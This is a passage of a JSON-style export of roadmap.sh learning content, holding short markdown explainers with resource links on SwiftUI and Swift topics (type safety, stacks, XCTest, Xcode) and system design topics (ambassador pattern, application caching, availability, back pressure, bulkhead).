    "content": "# Type Safety in Swift\n\nThanks to type safety, Swift prevents you from accidentally using a value in a way that's not intended. Swift checks the types of your variables and constants during compilation. If you try to assign a value of the wrong type to a variable (like assigning a string to an integer variable), Swift will give you an error. This helps catch mistakes early, making your code more reliable and preventing unexpected behavior at runtime.\n\nVisit the following resources to learn more:\n\n- [@official@Type Safety](https://docs.swift.org/swift-book/documentation/the-swift-programming-language/thebasics/#Type-Safety-and-Type-Inference)\n- [@article@Understanding Type Safety and Type Inference in Swift](https://medium.com/@akshitsharma904/understanding-type-safety-and-type-inference-in-swift-bcf84ae273e9)\n- [@video@Swift Programming - Clear Clean Code Using Type Safety and Inference](https://www.youtube.com/watch?v=bgtU62Mkj0A)"
  },
  {
    "path": "src/data/roadmaps/swift-ui/content/ui-controls@MEe088TqkeHxF7q0hiAUM.md",
    "content": "# UI Controls\n\nUI Controls are the visual building blocks that users interact with in an app's interface. These elements, such as buttons, text fields, sliders, and switches, allow users to input data, trigger actions, and navigate through the application. They provide a way for the user to communicate with the app and for the app to respond accordingly.\n\nVisit the following resources to learn more:\n\n- [@official@Controls and indicators](https://developer.apple.com/documentation/swiftui/controls-and-indicators)\n- [@official@Working with UI controls](https://developer.apple.com/tutorials/swiftui/working-with-ui-controls)\n- [@official@Populating SwiftUI menus with adaptive controls](https://developer.apple.com/documentation/swiftui/populating-swiftui-menus-with-adaptive-controls)\n- [@official@Button](https://developer.apple.com/documentation/swiftui/button)\n- [@official@Toggle](https://developer.apple.com/documentation/swiftui/toggle)\n- [@official@Slider](https://developer.apple.com/documentation/swiftui/slider)\n- [@official@Divider](https://developer.apple.com/documentation/swiftui/divider)\n- [@article@SwiftUI - UI Controls](https://developer.apple.com/documentation/swiftui/controls-and-indicators)"
  },
  {
    "path": "src/data/roadmaps/swift-ui/content/uikit-vs-swiftui@rx9ZSMBFErvFfZgSZo_u2.md",
    "content": "# UIKit vs. SwiftUI\n\nUIKit and SwiftUI are both frameworks for building user interfaces on Apple platforms (iOS, iPadOS, macOS, watchOS, and tvOS). UIKit is the older, imperative framework that has been around since the first iPhone was introduced. SwiftUI is a newer, declarative framework introduced in 2019 that offers a more modern and concise way to design and develop user interfaces. The key difference lies in how you describe the UI: UIKit uses code to directly manipulate views, while SwiftUI describes the desired state of the UI, and the system handles the updates.\n\nVisit the following resources to learn more:\n\n- [@official@UIKit](https://developer.apple.com/documentation/uikit)\n- [@article@Answering the big question: should you learn SwiftUI, UIKit, or both?](https://www.hackingwithswift.com/quick-start/swiftui/answering-the-big-question-should-you-learn-swiftui-uikit-or-both)\n- [@article@What Really Are The Differences Between SwiftUI and UIKit?](https://dev.to/raphacmartin/what-really-are-the-differences-between-swiftui-and-uikit-1o2j)\n- [@video@Should I Learn SwiftUI or UIKit?](https://www.youtube.com/watch?v=HIiVxbEbK1s)"
  },
  {
    "path": "src/data/roadmaps/swift-ui/content/unstructured-concurrency@jEWHNFLdcrvLQEOXr3ll6.md",
    "content": "# Unstructured Concurrency\n\nUnstructured concurrency in Swift allows you to create and manage concurrent tasks without adhering to a strict parent-child relationship. This means you can launch asynchronous operations independently, and their lifecycles are not necessarily tied to the scope in which they were created. It provides flexibility in managing concurrency but requires careful handling to avoid issues like resource leaks or unexpected behavior.\n\nVisit the following resources to learn more:\n\n- [@official@Unstructured Concurrency](https://docs.swift.org/swift-book/documentation/the-swift-programming-language/concurrency#Unstructured-Concurrency)\n- [@article@Understanding unstructured and detached tasks in Swift](https://www.donnywals.com/understanding-unstructured-and-detached-tasks-in-swift/)\n- [@article@Unstructured vs Structured Concurrency in Swift](https://medium.com/@moutamanuel26/unstructured-vs-structured-concurrency-in-swift-dc5ed50eb1f1)"
  },
  {
    "path": "src/data/roadmaps/swift-ui/content/user-interaction@3g4AN-pIHAMJ5PKwE4SlY.md",
    "content": "# User Interaction\n\nUser interaction refers to how users engage with your app. This includes everything from tapping buttons and entering text to swiping through lists and responding to alerts. It's about making your app responsive and intuitive, so users can easily navigate and accomplish their goals. SwiftUI provides various tools and modifiers to handle user input and create interactive elements."
  },
  {
    "path": "src/data/roadmaps/swift-ui/content/userdefaults-appstorage@OC5GZ2fy4FaV0Nq7dykRh.md",
    "content": "# UserDefaults & AppStorage\n\nUserDefaults and AppStorage are mechanisms in Swift and SwiftUI for storing small amounts of data persistently on a user's device. UserDefaults is a traditional way to store simple data types like strings, numbers, and booleans, using key-value pairs. AppStorage, built on top of UserDefaults, provides a more SwiftUI-friendly way to bind data directly to UI elements, automatically saving and loading values as the user interacts with the app.\n\nVisit the following resources to learn more:\n\n- [@official@UserDefaults](https://developer.apple.com/documentation/foundation/userdefaults)\n- [@article@User Defaults reading and writing in Swift](https://www.avanderlee.com/swift/user-defaults-preferences/)\n- [@video@Storing user settings with UserDefaults](https://www.hackingwithswift.com/books/ios-swiftui/storing-user-settings-with-userdefaults)\n- [@official@AppStorage](https://developer.apple.com/documentation/swiftui/appstorage)\n- [@article@What is the @AppStorage property wrapper?](https://www.hackingwithswift.com/quick-start/swiftui/what-is-the-appstorage-property-wrapper)\n- [@article@@AppStorage explained and replicated for a better alternative](https://www.avanderlee.com/swift/appstorage-explained/)\n- [@video@How to use @AppStorage in SwiftUI | Bootcamp #52](https://www.youtube.com/watch?v=zyuSUrfelw8)"
  },
  {
    "path": "src/data/roadmaps/swift-ui/content/using-packages@NGyvq-w9rGEqjkxoWYoqA.md",
    "content": "# Using Packages\n\nSwift Package Manager lets you add external libraries and tools to your Swift projects. Using packages involves declaring dependencies in your `Package.swift` file, which tells Swift Package Manager where to find the code you want to use. Once declared, Swift Package Manager handles downloading, building, and linking the package into your project, making the functionality available for you to use in your code.\n\nVisit the following resources to learn more:\n\n- [@official@Swift packages](https://developer.apple.com/documentation/xcode/swift-packages)\n- [@official@Introducing Packages](https://docs.swift.org/swiftpm/documentation/packagemanagerdocs/introducingpackages)\n- [@video@Adding Swift package dependencies in Xcode](https://www.hackingwithswift.com/books/ios-swiftui/adding-swift-package-dependencies-in-xcode)\n- [@video@How to use Third Party Swift Packages in SwiftUI | Swift Packages #0](https://www.youtube.com/watch?v=yp9n5oYONDs)"
  },
  {
    "path": "src/data/roadmaps/swift-ui/content/vapor@4CN0ACAfdHtFjL_arnQvi.md",
    "content": "# Vapor\n\nVapor is an open-source web framework written in Swift that allows developers to build robust and scalable server-side applications, APIs, and websites. It provides a clean and expressive syntax, making it easier to handle tasks like routing, database interaction, and templating, all while leveraging the performance and safety features of the Swift language.\n\nVisit the following resources to learn more:\n\n- [@opensource@Vapor](https://github.com/vapor/vapor)\n- [@official@Vapor](https://vapor.codes/)\n- [@official@Build a Web Service with Vapor](https://www.swift.org/getting-started/vapor-web-server/)\n- [@video@Getting Started with Vapor 4](https://www.youtube.com/watch?v=CD283bLteP0&list=PLMRqhzcHGw1Z7xNnqS_yUNm1k9dvq-HbM&index=1)"
  },
  {
    "path": "src/data/roadmaps/swift-ui/content/viewbuilder@KHtizt-en2bWHDNmBmIqp.md",
    "content": "# ViewBuilder\n\n`ViewBuilder` is a result builder attribute in Swift that allows you to build complex views in a declarative and concise way. It essentially transforms a series of statements into a single view, automatically handling the logic of combining multiple views together. This is particularly useful when creating custom views or complex layouts where you need to conditionally display different content based on certain conditions.\n\nVisit the following resources to learn more:\n\n- [@official@ViewBuilder](https://developer.apple.com/documentation/swiftui/viewbuilder)\n- [@official@Declaring a custom view](https://developer.apple.com/documentation/swiftui/declaring-a-custom-view)\n- [@article@Tips and tricks for when using SwiftUI’s ViewBuilder](https://www.swiftbysundell.com/articles/swiftui-viewbuilder-tips-and-tricks/)\n- [@video@How to use @ViewBuilder in SwiftUI | Advanced Learning](https://www.youtube.com/watch?v=pXmBRK1BjLw)"
  },
  {
    "path": "src/data/roadmaps/swift-ui/content/views@0kwf3brDiHhnsQ45708M0.md",
    "content": "# Views\n\nIn Swift and SwiftUI, a View is a fundamental building block for creating user interfaces. It represents a rectangular area on the screen that displays content and responds to user interactions. Views can be simple, like a text label or an image, or complex, composed of multiple nested views arranged in a hierarchy to create intricate layouts. They are the core components you use to design and structure the visual elements of your app.\n\nVisit the following resources to learn more:\n\n- [@official@View fundamentals](https://developer.apple.com/documentation/swiftui/view-fundamentals)\n- [@official@View](https://developer.apple.com/documentation/swiftui/view)\n- [@official@Creating and combining views Tuttorial](https://developer.apple.com/tutorials/swiftui/creating-and-combining-views)\n- [@video@5 SwiftUI Concepts Every Beginning SwiftUI Developer Needs To Know (2020)](https://www.youtube.com/watch?v=51xIHDm_BDs)"
  },
  {
    "path": "src/data/roadmaps/swift-ui/content/vscode@50KaK9mRCVf8zOwHPiW4w.md",
    "content": "# VSCode\n\nVSCode (Visual Studio Code) is a free and popular source code editor developed by Microsoft. It's known for its lightweight design, extensive customization options through extensions, and robust support for various programming languages, including Swift.  It provides features like syntax highlighting, debugging, an integrated terminal, and Git integration, making it a versatile tool for software development.\n\nVisit the following resources to learn more:\n\n- [@official@Configuring VS Code for Swift Development](https://www.swift.org/documentation/articles/getting-started-with-vscode-swift.html)\n- [@article@How to Set Up VS Code for iOS Development (Full Guide with Tips)](https://www.youtube.com/watch?v=eUizIb2_vaM)"
  },
  {
    "path": "src/data/roadmaps/swift-ui/content/vstack@_iTFfnpZBy3GLVsidUAzk.md",
    "content": "# VStack\n\nA `VStack` is a layout container that arranges its child views in a vertical line. It's like stacking building blocks on top of each other. You can use it to group related UI elements, such as text labels, images, and buttons, so they appear one above the other on the screen. `VStack` automatically manages the positioning and sizing of its children within the vertical stack.\n\nVisit the following resources to learn more:\n\n- [@official@VStack](https://developer.apple.com/documentation/swiftui/vstack)\n- [@official@Building layouts with stack views](https://developer.apple.com/documentation/swiftui/building-layouts-with-stack-views)\n- [@article@VStack](https://www.swiftuifieldguide.com/layout/vstack/)\n- [@video@VStack, HStack, and ZStack in SwiftUI | Bootcamp](https://www.youtube.com/watch?v=pv-vbUEzimk)"
  },
  {
    "path": "src/data/roadmaps/swift-ui/content/what-is-swift@zvELiSGcoLpRyphJuFME9.md",
    "content": "# What is Swift?\n\nSwift is a modern, general-purpose programming language developed by Apple. It's designed to be safe, fast, and expressive, making it a great choice for building applications across Apple's platforms, including iOS, macOS, watchOS, and tvOS. Swift combines the best aspects of C and Objective-C without the constraints of C compatibility.\n\nVisit the following resources to learn more:\n\n- [@official@Swift Docs](https://docs.swift.org/swift-book/documentation/the-swift-programming-language/aboutswift)\n- [@official@Swift](https://developer.apple.com/swift/)\n- [@course@Learn Swift | Codeacademy](https://www.codecademy.com/learn/learn-swift)\n- [@video@Swift Programming Tutorial – Full Course for Beginners](https://www.youtube.com/watch?v=8Xg7E9shq0U)"
  },
  {
    "path": "src/data/roadmaps/swift-ui/content/what-is-swiftui@jRbmmPKkJ2xHbUL18A8oe.md",
    "content": "# SwiftUI\n\nSwiftUI is a declarative UI framework from Apple that allows developers to build user interfaces across all Apple platforms (iOS, macOS, watchOS, tvOS, and visionOS) using Swift code. Instead of imperatively defining UI elements and their behavior, you describe the desired state of your UI, and SwiftUI automatically handles the rendering and updates. This approach simplifies UI development, promotes code reuse, and enables features such as live previews and hot reloading.\n\nVisit the following resources to learn more:\n\n- [@official@SwiftUI](https://developer.apple.com/swiftui/)\n- [@official@SwiftUI essentials](https://developer.apple.com/videos/play/wwdc2024/10150/)\n- [@official@SwiftUI Docs](https://developer.apple.com/documentation/swiftui)\n- [@video@SwiftUI Fundamentals | FULL COURSE | Beginner Friendly](https://www.youtube.com/watch?v=b1oC7sLIgpI)\n- [@video@Learn SwiftUI online for FREE | Bootcamp #0](https://www.youtube.com/watch?v=-Yp0LS61Nxk&list=PLwvDm4VfkdphqETTBf-DdjCoAvhai1QpO)"
  },
  {
    "path": "src/data/roadmaps/swift-ui/content/where-swift-is-used@mkKOv4UX94r8ijD_FPJ0f.md",
    "content": "# Where Swift is Used\n\nSwift is a versatile programming language developed by Apple, primarily known for building applications across the Apple ecosystem. This includes creating apps for iPhones, iPads, Macs, Apple Watches, and Apple TVs. Beyond Apple platforms, Swift can also be used for server-side development, command-line tools, and even some embedded systems, making it a language with a growing range of applications.\n\nVisit the following resources to learn more:\n\n- [@official@Develop for iOS](https://developer.apple.com/ios/)\n- [@official@Develop for macOS](https://developer.apple.com/macos/)\n- [@official@Swift on the Server](https://www.swift.org/documentation/server/)\n- [@article@What You Can Do with Swift Outside the Apple Ecosystem](https://arc-sosangyo.medium.com/what-you-can-do-with-swift-outside-the-apple-ecosystem-a201778a7830)"
  },
  {
    "path": "src/data/roadmaps/swift-ui/content/while@FdHaF5ZM3WjRD_yCOZCXx.md",
    "content": "# While Loops in Swift\n\nA `while` loop in Swift repeatedly executes a block of code as long as a specified condition is true. The loop checks the condition before each execution of the code block. If the condition is initially false, the code block is never executed. This makes it suitable for situations where you want to repeat a task until a certain condition is met.\n\nVisit the following resources to learn more:\n\n- [@official@While Loops](https://docs.swift.org/swift-book/documentation/the-swift-programming-language/controlflow/#While-Loops)\n- [@video@How to use a while loop to repeat work – Swift for Complete Beginners](https://www.youtube.com/watch?v=NduMuU0xeqk)"
  },
  {
    "path": "src/data/roadmaps/swift-ui/content/why-use-swift@25OMS3jP0rtZXc697FENP.md",
    "content": "# Why Use Swift?\n\nSwift is a modern, powerful, and intuitive programming language developed by Apple. It's designed to be safe, fast, and expressive, making it an excellent choice for building applications across Apple's ecosystems, including iOS, macOS, watchOS, and tvOS. Its clean syntax and focus on developer productivity contribute to a more efficient and enjoyable development experience.\n\nVisit the following resources to learn more:\n\n- [@official@About Swift](https://www.swift.org/about/)\n- [@article@Programming in Swift: Benefits of This Popular Coding Language](https://www.coursera.org/articles/programming-in-swift)\n- [@video@Why learn Swift – Swift for Complete Beginners](https://www.youtube.com/watch?v=ug6T-iFk5OY)"
  },
  {
    "path": "src/data/roadmaps/swift-ui/content/wrappers@5cHzfAOmFxR_gB9LvwLYj.md",
    "content": "# Property Wrappers\n\nProperty wrappers in Swift provide a way to add a layer of code between the property and the code that manages it. They essentially encapsulate code that gets executed when a property is accessed or modified. This allows you to reuse the same property logic across multiple properties, such as enforcing constraints, managing data storage, or providing thread safety.\n\nVisit the following resources to learn more:\n\n- [@article@Property Wrappers](https://docs.swift.org/swift-book/documentation/the-swift-programming-language/properties#Property-Wrappers)\n- [@article@Property Wrappers in Swift explained with code examples](https://www.avanderlee.com/swift/property-wrappers/)\n- [@article@SwiftUI Property Wrappers](https://swiftuipropertywrappers.com/)\n- [@video@Getting Started with Property Wrappers in Swift 🔥](https://www.youtube.com/watch?v=61lr5ZI_-6E)\n- [@video@SwiftUI Property Wrappers](https://www.youtube.com/watch?v=yWdJ3dRRDlk)"
  },
  {
    "path": "src/data/roadmaps/swift-ui/content/xcode-debugging@LrMTrEV-oQVFUro2k6mpT.md",
    "content": "# Xcode Debugger\n\nThe Xcode debugger is a powerful tool built into the Xcode IDE that allows developers to step through their code line by line, inspect variables, and understand the flow of execution. It helps identify and fix bugs by providing insights into the application's state at various points in time. You can set breakpoints to pause execution, examine the call stack to trace the sequence of function calls, and use the console to print out values or execute custom commands.\n\nVisit the following resources to learn more:\n\n- [@official@Debugging](https://developer.apple.com/documentation/xcode/debugging)\n- [@official@Stepping through code and inspecting variables to isolate bugs](https://developer.apple.com/documentation/xcode/stepping-through-code-and-inspecting-variables-to-isolate-bugs)\n- [@official@Building your app to include debugging information](https://developer.apple.com/documentation/xcode/building-your-app-to-include-debugging-information)\n- [@video@Xcode 16 Debugging Tutorial for Beginners (2025)](https://www.youtube.com/watch?v=ZJmUeOT6c-Y)\n- [@video@WWDC24: Xcode essentials | Apple](https://www.youtube.com/watch?v=EN7-6Oj7cL0)"
  },
  {
    "path": "src/data/roadmaps/swift-ui/content/xcode@48dieYUTz5fSXipndwKce.md",
    "content": "# Xcode\n\nXcode is Apple's integrated development environment (IDE) used for developing software for macOS, iOS, watchOS, and tvOS. It provides a comprehensive suite of tools for writing, debugging, and testing code, as well as designing user interfaces. Xcode includes a code editor, compiler, debugger, and build system, all integrated into a single application.\n\nVisit the following resources to learn more:\n\n- [@official@Xcode](https://developer.apple.com/xcode/)\n- [@video@Introduction to Xcode (Xcode 16 Updated)](https://www.youtube.com/watch?v=7RTHzBh3nkg)"
  },
  {
    "path": "src/data/roadmaps/swift-ui/content/xctest@moORQvblmG3x7kaAXHPat.md",
    "content": "# XCTest\n\nXCTest is Apple's framework for writing unit, integration, and UI tests for your Swift and Objective-C code. It allows developers to verify the correctness of their code by writing assertions that check for expected outcomes. While XCTest has been the standard for iOS testing for a long time, the Swift Testing framework is emerging as a modern alternative, promising a more streamlined and Swift-native approach to testing in the future.\n\nVisit the following resources to learn more:\n\n- [@official@XCTest](https://developer.apple.com/documentation/xctest)\n- [@official@Migrating a test from XCTest](https://developer.apple.com/documentation/Testing/MigratingFromXCTest)\n- [@article@Creating our first unit test using XCTest](https://www.hackingwithswift.com/read/39/8/user-interface-testing-with-xctest)\n- [@article@Hello Swift Testing, Goodbye XCTest](https://leocoout.medium.com/welcome-swift-testing-goodbye-xctest-7501b7a5b304)\n- [@video@Unit Testing in iOS with XCTest](https://www.youtube.com/watch?v=YR3PgwKKraw)"
  },
  {
    "path": "src/data/roadmaps/swift-ui/content/zstack@_suK9choLayT05wAZ3UCz.md",
    "content": "# ZStack\n\nZStack is a layout container that overlays views on top of each other, aligning them in both the horizontal and vertical axes. The views are stacked in the order they are declared, with the last view in the code appearing on top. This allows you to create layered effects, such as placing text over an image or creating custom button styles with multiple layers.\n\nVisit the following resources to learn more:\n\n- [@official@ZStack](https://developer.apple.com/documentation/swiftui/zstack)\n- [@article@ZStack](https://www.swiftuifieldguide.com/layout/zstack/)\n- [@video@VStack, HStack, and ZStack in SwiftUI | Bootcamp](https://www.youtube.com/watch?v=pv-vbUEzimk)"
  },
  {
    "path": "src/data/roadmaps/swift-ui/swift-ui.md",
    "content": "---\nrenderer: editor\n---"
  },
  {
    "path": "src/data/roadmaps/system-design/content/ambassador@Hja4YF3JcgM6CPwB1mxmo.md",
    "content": "# Ambassador\n\nCreate helper services that send network requests on behalf of a consumer service or application. An ambassador service can be thought of as an out-of-process proxy that is co-located with the client.\n\nThis pattern can be useful for offloading common client connectivity tasks such as monitoring, logging, routing, security (such as TLS), and resiliency patterns in a language agnostic way. It is often used with legacy applications, or other applications that are difficult to modify, in order to extend their networking capabilities. It can also enable a specialized team to implement those features.\n\nVisit the following resources to learn more:\n\n- [@article@Ambassador pattern](https://learn.microsoft.com/en-us/azure/architecture/patterns/ambassador)"
  },
  {
    "path": "src/data/roadmaps/system-design/content/anti-corruption-layer@4hi7LvjLcv8eR6m-uk8XQ.md",
    "content": "# Anti-corruption Layer\n\nImplement a facade or adapter layer between different subsystems that don't share the same semantics. This layer translates requests that one subsystem makes to the other subsystem. Use this pattern to ensure that an application's design is not limited by dependencies on outside subsystems. This pattern was first described by Eric Evans in Domain-Driven Design.\n\nVisit the following resources to learn more:\n\n- [@article@Anti-corruption Layer pattern](https://learn.microsoft.com/en-us/azure/architecture/patterns/anti-corruption-layer)"
  },
  {
    "path": "src/data/roadmaps/system-design/content/application-caching@5Ux_JBDOkflCaIm4tVBgO.md",
    "content": "# Application Caching\n\nIn-memory caches such as Memcached and Redis are key-value stores between your application and your data storage. Since the data is held in RAM, it is much faster than typical databases where data is stored on disk. RAM is more limited than disk, so [cache invalidation](https://en.wikipedia.org/wiki/Cache_algorithms) algorithms such as [least recently used (LRU)](https://en.wikipedia.org/wiki/Cache_replacement_policies#Least_recently_used_\\(LRU\\)) can help invalidate 'cold' entries and keep 'hot' data in RAM.\n\nRedis has the following additional features:\n\n*   Persistence option\n*   Built-in data structures such as sorted sets and lists\n\nGenerally, you should try to avoid file-based caching, as it makes cloning and auto-scaling more difficult.\n\nVisit the following resources to learn more:\n\n- [@opensource@Intro to Application Caching](https://github.com/donnemartin/system-design-primer#application-caching)"
  },
  {
    "path": "src/data/roadmaps/system-design/content/application-layer@XXuzTrP5UNVwSpAk-tAGr.md",
    "content": "# Application Layer\n\nSeparating out the web layer from the application layer (also known as platform layer) allows you to scale and configure both layers independently. Adding a new API results in adding application servers without necessarily adding additional web servers. The single responsibility principle advocates for small and autonomous services that work together. Small teams with small services can plan more aggressively for rapid growth.\n\n![](https://i.imgur.com/F0cjurv.png)\n\nDisadvantages\n-------------\n\n*   Adding an application layer with loosely coupled services requires a different approach from an architectural, operations, and process viewpoint (vs a monolithic system).\n*   Microservices can add complexity in terms of deployments and operations.\n\nVisit the following resources to learn more:\n\n- [@article@Intro to architecting systems for scale](http://lethain.com/introduction-to-architecting-systems-for-scale/#platform_layer)"
  },
  {
    "path": "src/data/roadmaps/system-design/content/async-request-reply@eNFNXPsFiryVxFe4unVxk.md",
    "content": "# Asynchronous Request-Reply\n\nDecouple backend processing from a frontend host, where backend processing needs to be asynchronous, but the frontend still needs a clear response.\n\nVisit the following resources to learn more:\n\n- [@article@Asynchronous Request-Reply pattern](https://learn.microsoft.com/en-us/azure/architecture/patterns/async-request-reply)"
  },
  {
    "path": "src/data/roadmaps/system-design/content/asynchronism@84N4XY31PwXRntXX1sdCU.md",
    "content": "# Asynchronism\n\nAsynchronous workflows help reduce request times for expensive operations that would otherwise be performed in-line. They can also help by doing time-consuming work in advance, such as periodic aggregation of data.\n\nVisit the following resources to learn more:\n\n- [@article@Patterns for microservices - Sync vs Async](https://medium.com/inspiredbrilliance/patterns-for-microservices-e57a2d71ff9e)\n- [@article@Applying back pressure when overloaded](http://mechanical-sympathy.blogspot.com/2012/05/apply-back-pressure-when-overloaded.html)\n- [@article@Little's law](https://en.wikipedia.org/wiki/Little%27s_law)\n- [@article@What is the difference between a message queue and a task queue?](https://www.quora.com/What-is-the-difference-between-a-message-queue-and-a-task-queue-Why-would-a-task-queue-require-a-message-broker-like-RabbitMQ-Redis-Celery-or-IronMQ-to-function)\n- [@video@It's all a numbers game](https://www.youtube.com/watch?v=1KRYH75wgy4)"
  },
  {
    "path": "src/data/roadmaps/system-design/content/availability-in-numbers@uHdrZllrZFAnVkwIB3y5-.md",
    "content": "# Availability in Numbers\n\nAvailability is often quantified by uptime (or downtime) as a percentage of time the service is available. Availability is generally measured in number of 9s--a service with 99.99% availability is described as having four 9s.\n\n99.9% Availability - Three 9s:\n------------------------------\n\n    Duration           | Acceptable downtime\n    -------------      | -------------\n    Downtime per year  | 8h 41min 38s\n    Downtime per month | 43m 28s\n    Downtime per week  | 10m 4.8s\n    Downtime per day   | 1m 26s\n    \n\n99.99% Availability - Four 9s\n-----------------------------\n\n    Duration           | Acceptable downtime\n    -------------      | -------------\n    Downtime per year  | 52min 9.8s\n    Downtime per month | 4m 21s\n    Downtime per week  | 1m 0.5s\n    Downtime per day   | 8.6s\n    \n\nAvailability in parallel vs in sequence\n---------------------------------------\n\nIf a service consists of multiple components prone to failure, the service's overall availability depends on whether the components are in sequence or in parallel.\n\n### In sequence\n\nOverall availability decreases when two components with availability < 100% are in sequence:\n\n    Availability (Total) = Availability (Foo) * Availability (Bar)\n    \n\nIf both `Foo` and `Bar` each had 99.9% availability, their total availability in sequence would be 99.8%.\n\n### In parallel\n\nOverall availability increases when two components with availability < 100% are in parallel:\n\n    Availability (Total) = 1 - (1 - Availability (Foo)) * (1 - Availability (Bar))\n    \n\nIf both `Foo` and `Bar` each had 99.9% availability, their total availability in parallel would be 99.9999%.\n\nVisit the following resources to learn more:\n\n- [@article@Availability in System Design](https://www.enjoyalgorithms.com/blog/availability-system-design-concept/)\n- [@article@Uptime calculator: How much downtime corresponds to 99.9 % uptime](https://uptime.is/)"
  },
  {
    "path": "src/data/roadmaps/system-design/content/availability-monitoring@rVrwaioGURvrqNBufF2dj.md",
    "content": "# Availability Monitoring\n\nA truly healthy system requires that the components and subsystems that compose the system are available. Availability monitoring is closely related to health monitoring. But whereas health monitoring provides an immediate view of the current health of the system, availability monitoring is concerned with tracking the availability of the system and its components to generate statistics about the uptime of the system.\n\nVisit the following resources to learn more:\n\n- [@article@Availability Monitoring](https://learn.microsoft.com/en-us/azure/architecture/best-practices/monitoring#availability-monitoring)\n- [@feed@Explore top posts about Monitoring](https://app.daily.dev/tags/monitoring?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/system-design/content/availability-patterns@ezptoTqeaepByegxS5kHL.md",
    "content": "# Availability Patterns\n\nAvailability patterns are established architectural approaches used to ensure a system remains operational and accessible to users, even in the face of failures or unexpected events. These patterns focus on minimizing downtime and maintaining a consistent level of service by incorporating redundancy, fault tolerance, and recovery mechanisms into the system's design. They provide a structured way to address potential points of failure and ensure business continuity.\n\nVisit the following resources to learn more:\n\n- [@article@High Availability in System Design – 15 Strategies for Always-On Systems](https://www.designgurus.io/blog/high-availability-system-design-basics)\n- [@article@System Design: Availability Patterns](https://dev.to/decoders_lord/system-design-availability-patterns-104i)\n- [@video@Design Patterns for High Availability: What gets you 99.999% uptime?](https://www.youtube.com/watch?v=LdvduBxZRLs)"
  },
  {
    "path": "src/data/roadmaps/system-design/content/availability-vs-consistency@uJc27BNAuP321HQNbjftn.md",
    "content": "# Availability vs Consistency\n\nAvailability refers to the ability of a system to provide its services to clients even in the presence of failures. This is often measured in terms of the percentage of time that the system is up and running, also known as its uptime.\n\nConsistency, on the other hand, refers to the property that all clients see the same data at the same time. This is important for maintaining the integrity of the data stored in the system.\n\nIn distributed systems, it is often a trade-off between availability and consistency. Systems that prioritize high availability may sacrifice consistency, while systems that prioritize consistency may sacrifice availability. Different distributed systems use different approaches to balance the trade-off between availability and consistency, such as using replication or consensus algorithms.\n\nVisit the following resources to learn more:\n\n- [@opensource@CAP FAQ](https://github.com/henryr/cap-faq)\n- [@article@CAP Theorem Revisited](https://robertgreiner.com/cap-theorem-revisited/)\n- [@article@A plain english introduction to CAP Theorem](http://ksat.me/a-plain-english-introduction-to-cap-theorem)\n- [@video@CAP Theorem](https://www.youtube.com/watch?v=_RbsFXWRZ10&t=1s)"
  },
  {
    "path": "src/data/roadmaps/system-design/content/availability@Xzkvf4naveszLGV9b-8ih.md",
    "content": "# Availability\n\nAvailability is measured as a percentage of uptime, and defines the proportion of time that a system is functional and working. Availability is affected by system errors, infrastructure problems, malicious attacks, and system load. Cloud applications typically provide users with a service level agreement (SLA), which means that applications must be designed and implemented to maximize availability.\n\nVisit the following resources to learn more:\n\n- [@article@Availability Patterns](https://learn.microsoft.com/en-us/azure/architecture/framework/resiliency/reliability-patterns#availability)"
  },
  {
    "path": "src/data/roadmaps/system-design/content/back-pressure@YiYRZFE_zwPMiCZxz9FnP.md",
    "content": "# Back Pressure\n\nIf queues start to grow significantly, the queue size can become larger than memory, resulting in cache misses, disk reads, and even slower performance. [Back pressure](http://mechanical-sympathy.blogspot.com/2012/05/apply-back-pressure-when-overloaded.html) can help by limiting the queue size, thereby maintaining a high throughput rate and good response times for jobs already in the queue. Once the queue fills up, clients get a server busy or HTTP 503 status code to try again later. Clients can retry the request at a later time, perhaps with [exponential backoff](https://en.wikipedia.org/wiki/Exponential_backoff)."
  },
  {
    "path": "src/data/roadmaps/system-design/content/backends-for-frontend@n4It-lr7FFtSY83DcGydX.md",
    "content": "# Backends for Frontend\n\nCreate separate backend services to be consumed by specific frontend applications or interfaces. This pattern is useful when you want to avoid customizing a single backend for multiple interfaces. This pattern was first described by Sam Newman.\n\nVisit the following resources to learn more:\n\n- [@article@Backends for Frontends pattern](https://learn.microsoft.com/en-us/azure/architecture/patterns/backends-for-frontends)\n- [@feed@Explore top posts about Frontend Development](https://app.daily.dev/tags/frontend?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/system-design/content/background-jobs@DOESIlBThd_wp2uOSd_CS.md",
    "content": "# Background Jobs\n\nBackground jobs in system design refer to tasks that are executed in the background, independently of the main execution flow of the system. These tasks are typically initiated by the system itself, rather than by a user or another external agent.\n\nBackground jobs can be used for a variety of purposes, such as:\n\n*   Performing maintenance tasks: such as cleaning up old data, generating reports, or backing up the database.\n*   Processing large volumes of data: such as data import, data export, or data transformation.\n*   Sending notifications or messages: such as sending email notifications or push notifications to users.\n*   Performing long-running computations: such as machine learning or data analysis.\n\nVisit the following resources to learn more:\n\n- [@article@Background Jobs - Best Practices](https://learn.microsoft.com/en-us/azure/architecture/best-practices/background-jobs)"
  },
  {
    "path": "src/data/roadmaps/system-design/content/bulkhead@IR2_kgs2U9rnAJiDBmpqK.md",
    "content": "# Bulkhead\n\nThe Bulkhead pattern is a type of application design that is tolerant of failure. In a bulkhead architecture, elements of an application are isolated into pools so that if one fails, the others will continue to function. It's named after the sectioned partitions (bulkheads) of a ship's hull. If the hull of a ship is compromised, only the damaged section fills with water, which prevents the ship from sinking.\n\nVisit the following resources to learn more:\n\n- [@article@Bulkhead pattern](https://learn.microsoft.com/en-us/azure/architecture/patterns/bulkhead)\n- [@article@Get started with Bulkhead](https://dzone.com/articles/resilient-microservices-pattern-bulkhead-pattern)"
  },
  {
    "path": "src/data/roadmaps/system-design/content/bulkhead@PLn9TF9GYnPcbpTdDMQbG.md",
    "content": "# Bulkhead\n\nThe Bulkhead pattern is a type of application design that is tolerant of failure. In a bulkhead architecture, elements of an application are isolated into pools so that if one fails, the others will continue to function. It's named after the sectioned partitions (bulkheads) of a ship's hull. If the hull of a ship is compromised, only the damaged section fills with water, which prevents the ship from sinking.\n\nVisit the following resources to learn more:\n\n- [@article@Bulkhead pattern](https://learn.microsoft.com/en-us/azure/architecture/patterns/bulkhead)\n- [@article@Get started with Bulkhead](https://dzone.com/articles/resilient-microservices-pattern-bulkhead-pattern)"
  },
  {
    "path": "src/data/roadmaps/system-design/content/busy-database@hxiV2uF7tvhZKe4K-4fTn.md",
